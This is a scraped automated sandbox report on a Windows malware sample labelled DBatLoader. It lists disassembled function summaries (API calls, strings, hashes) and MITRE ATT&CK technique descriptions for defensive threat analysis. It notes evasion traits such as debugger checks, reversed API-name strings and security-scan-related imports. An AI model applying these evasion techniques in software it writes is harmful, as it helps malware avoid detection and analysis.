Function 0286AA80 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0286AC50,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0286AAAF

Part of subcall function 0286A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0286A762

Strings

ggg, xrefs: 0286AB95
yyyy, xrefs: 0286ABA5
eeee, xrefs: 0286ABBE

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: 36bb68849872e773cf61a630770226761048f0df95cca494025e0ff345aad357
Instruction ID: 17c41a3962d780cdb8a67f62a959c7a49c5dc3451c1257ec5f41e0123f40ef50
Opcode Fuzzy Hash: 36bb68849872e773cf61a630770226761048f0df95cca494025e0ff345aad357
Instruction Fuzzy Hash: CE41F53C3041094BE72EEB6C888C77EB3EBDB85304B504526D566E7344EA79ED059A22

Function 02878018 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02878088,?,?,00000000,?,028779FE,ntdll,00000000,00000000,02877A43,?,?,00000000), ref: 02878056

Part of subcall function 028780C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02878148,?,?,00000000,00000000,?,02878061,00000000,KernelBASE,00000000,00000000,02878088), ref: 0287810D
Part of subcall function 028780C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02878113
Part of subcall function 028780C0: GetProcAddress.KERNEL32(?,?), ref: 02878125

GetModuleHandleA.KERNELBASE(?), ref: 0287806A

Strings

KernelBASE, xrefs: 02878051
AeldnaHeludoMteG, xrefs: 02878031

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1883125708-1952140341
Opcode ID: 00aa40eb34c30d8240666213450e1b9547b04b411f10f1b9379ce58141f371a3
Instruction ID: c353174112b7962c3cbe236f0b3af94d7eb6d4fe8a0ba0e41f0f56b763d7ad9e
Opcode Fuzzy Hash: 00aa40eb34c30d8240666213450e1b9547b04b411f10f1b9379ce58141f371a3
Instruction Fuzzy Hash: BDF0967C640304AFE710EFB8DC49A6E77ADF749B007614520F900D3650DB78ED04EA56

Function 0287EFC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,0287F3CC,UacInitialize,028C237C,0288B40C,UacScan,028C237C,0288B40C,ScanBuffer,028C237C,0288B40C,OpenSession,028C237C,0288B40C,ScanString), ref: 0287EFCE
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 0287EFE0

Strings

IsDebuggerPresent, xrefs: 0287EFDA
KernelBase, xrefs: 0287EFC9

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: ced10459ee67a5689e490b6149232618f9bbf0fdb1f0bddc6580ae6ce693ab1b
Instruction ID: cdcb301992db16e1b9d268563d341cfd189b82889388b879b8967343e27ade01
Opcode Fuzzy Hash: ced10459ee67a5689e490b6149232618f9bbf0fdb1f0bddc6580ae6ce693ab1b
Instruction Fuzzy Hash: 93D0126E3557B01DB50036F82CC882D024C8B555297201EA0B126E5AD3F66FC8511111

Function 0286C3F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0288D10B,00000000,0288D11E), ref: 0286C3FA
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 0286C40B

Strings

GetDiskFreeSpaceExA, xrefs: 0286C405
kernel32.dll, xrefs: 0286C3F5

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 8d2e00f1107fe12db3eae5496845f399201dd91f022552f419708de2653e46e1
Instruction ID: 4cae4b8b1d7c7cc4abb33c5a180dfc9e918cc1aaa97e923b348dfb43b68acdc6
Opcode Fuzzy Hash: 8d2e00f1107fe12db3eae5496845f399201dd91f022552f419708de2653e46e1
Instruction Fuzzy Hash: DAD05E6CA403506EF700EBB96C8E63A26889714306F00D826F045D5A42E7A984148F90

Function 0286E168 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0286E217
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0286E233
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0286E2AA
VariantClear.OLEAUT32(?), ref: 0286E2D3

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 4b9134c19573e598d14f356c1d82ecb688aef4634d98b89582ac8e05af85fe37
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: A641F87DA002299FCB61DB59CC98FE9B3BEAB49604F0041D5EA49E7211DA70AF848F51

Function 0286ACBC Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0286ACD9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0286ACFD
GetModuleFileNameA.KERNEL32(02860000,?,00000105), ref: 0286AD18
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0286ADAE

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: aac2f17f211abb2ef035dde310232569af58e6d8d77e7884aff37113d15654a5
Instruction ID: 8d538054de17605590b94e0cea873e9b9764a595ebf2ba1f1a0e9dd63b358661
Opcode Fuzzy Hash: aac2f17f211abb2ef035dde310232569af58e6d8d77e7884aff37113d15654a5
Instruction Fuzzy Hash: 3A411E7CE402589FDB21DB68DC88BEAB7FDAB08305F0440E5A548E7251DB74AF888F51

Function 0286ACBA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0286ACD9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0286ACFD
GetModuleFileNameA.KERNEL32(02860000,?,00000105), ref: 0286AD18
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0286ADAE

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 0140a93d272522d562e74cbc9d2de7dcc01ca45e8cfe8515f83d4c544e1ea095
Instruction ID: 161ab1d27d5e1a103db266d9fa77c5e34e263ca0979963fffb684722339bdef2
Opcode Fuzzy Hash: 0140a93d272522d562e74cbc9d2de7dcc01ca45e8cfe8515f83d4c544e1ea095
Instruction Fuzzy Hash: DD41127CE402589FDB21DB68DC88BEAB7FDAB08305F4440E5A548E7251DB74AF888F51

Function 02861C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c39f6458287cc24c0de3282331ff0e477dffdc412f6e4aedefebbdffe886f19b
Instruction ID: 61ef12aee34f3dfc9b8199f012f6b3223c89da95f7d41e97516f3e244bc73f3c
Opcode Fuzzy Hash: c39f6458287cc24c0de3282331ff0e477dffdc412f6e4aedefebbdffe886f19b
Instruction Fuzzy Hash: 40A1E7AE7106000BD719AA7CAC8C3BDB3C29BC4325F18827EE21DCB787EB64C9558755

Function 0286946C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,0286955A), ref: 028694F2
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,0286955A), ref: 028694F8

Strings

yyyy, xrefs: 028694CD

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 09eb3019615ec1c2e5dbc32b64ded948c3e3f4a3a7359ab8713cd9da2a267437
Instruction ID: 78e04dce06fc05d098b42eb87c6f6be2591ffb35d1614a5af2cf868c97e4b97b
Opcode Fuzzy Hash: 09eb3019615ec1c2e5dbc32b64ded948c3e3f4a3a7359ab8713cd9da2a267437
Instruction Fuzzy Hash: D721917DA002189FDB11DFA8C849ABEB3F9EF08710F4040A5E909E7290D774DE44CB66

Function 0287AD5C Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 0287AD90
IsBadWritePtr.KERNEL32(?,00000004), ref: 0287ADC0
IsBadReadPtr.KERNEL32(?,00000008), ref: 0287ADDF
IsBadReadPtr.KERNEL32(?,00000004), ref: 0287ADEB

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
Instruction ID: 56e0f35520317531f08defd7d6c99096b8db99ce1aa079e8cd3fbefcf1b7c1d5
Opcode Fuzzy Hash: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
Instruction Fuzzy Hash: 4C21AFBD6402199BDB14DF29CC80BAE7BA9EF40321F008112EE54D7380EB38E9119AE0

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report UTstKgkJNY.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Windows Analysis Report
UTstKgkJNY.exe

Function 0287F0A8 Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535
filesleepCOMMON

Function 02865A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Function 0287F024 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Function 0287DFE4 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Function 0287E72C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Function 02877CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49
nativeCOMMON

Function 02876D48 Relevance: 1.5, APIs: 1, Instructions: 48
comCOMMON

Function 02861724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Function 02878704 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Function 02861A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Function 0287E72A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Function 0287881C Relevance: 6.1, APIs: 4, Instructions: 65
libraryloaderCOMMON

Function 0286E2E4 Relevance: 4.5, APIs: 3, Instructions: 45
COMMON

Function 0287705C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256
COMMON

Function 0286E37C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON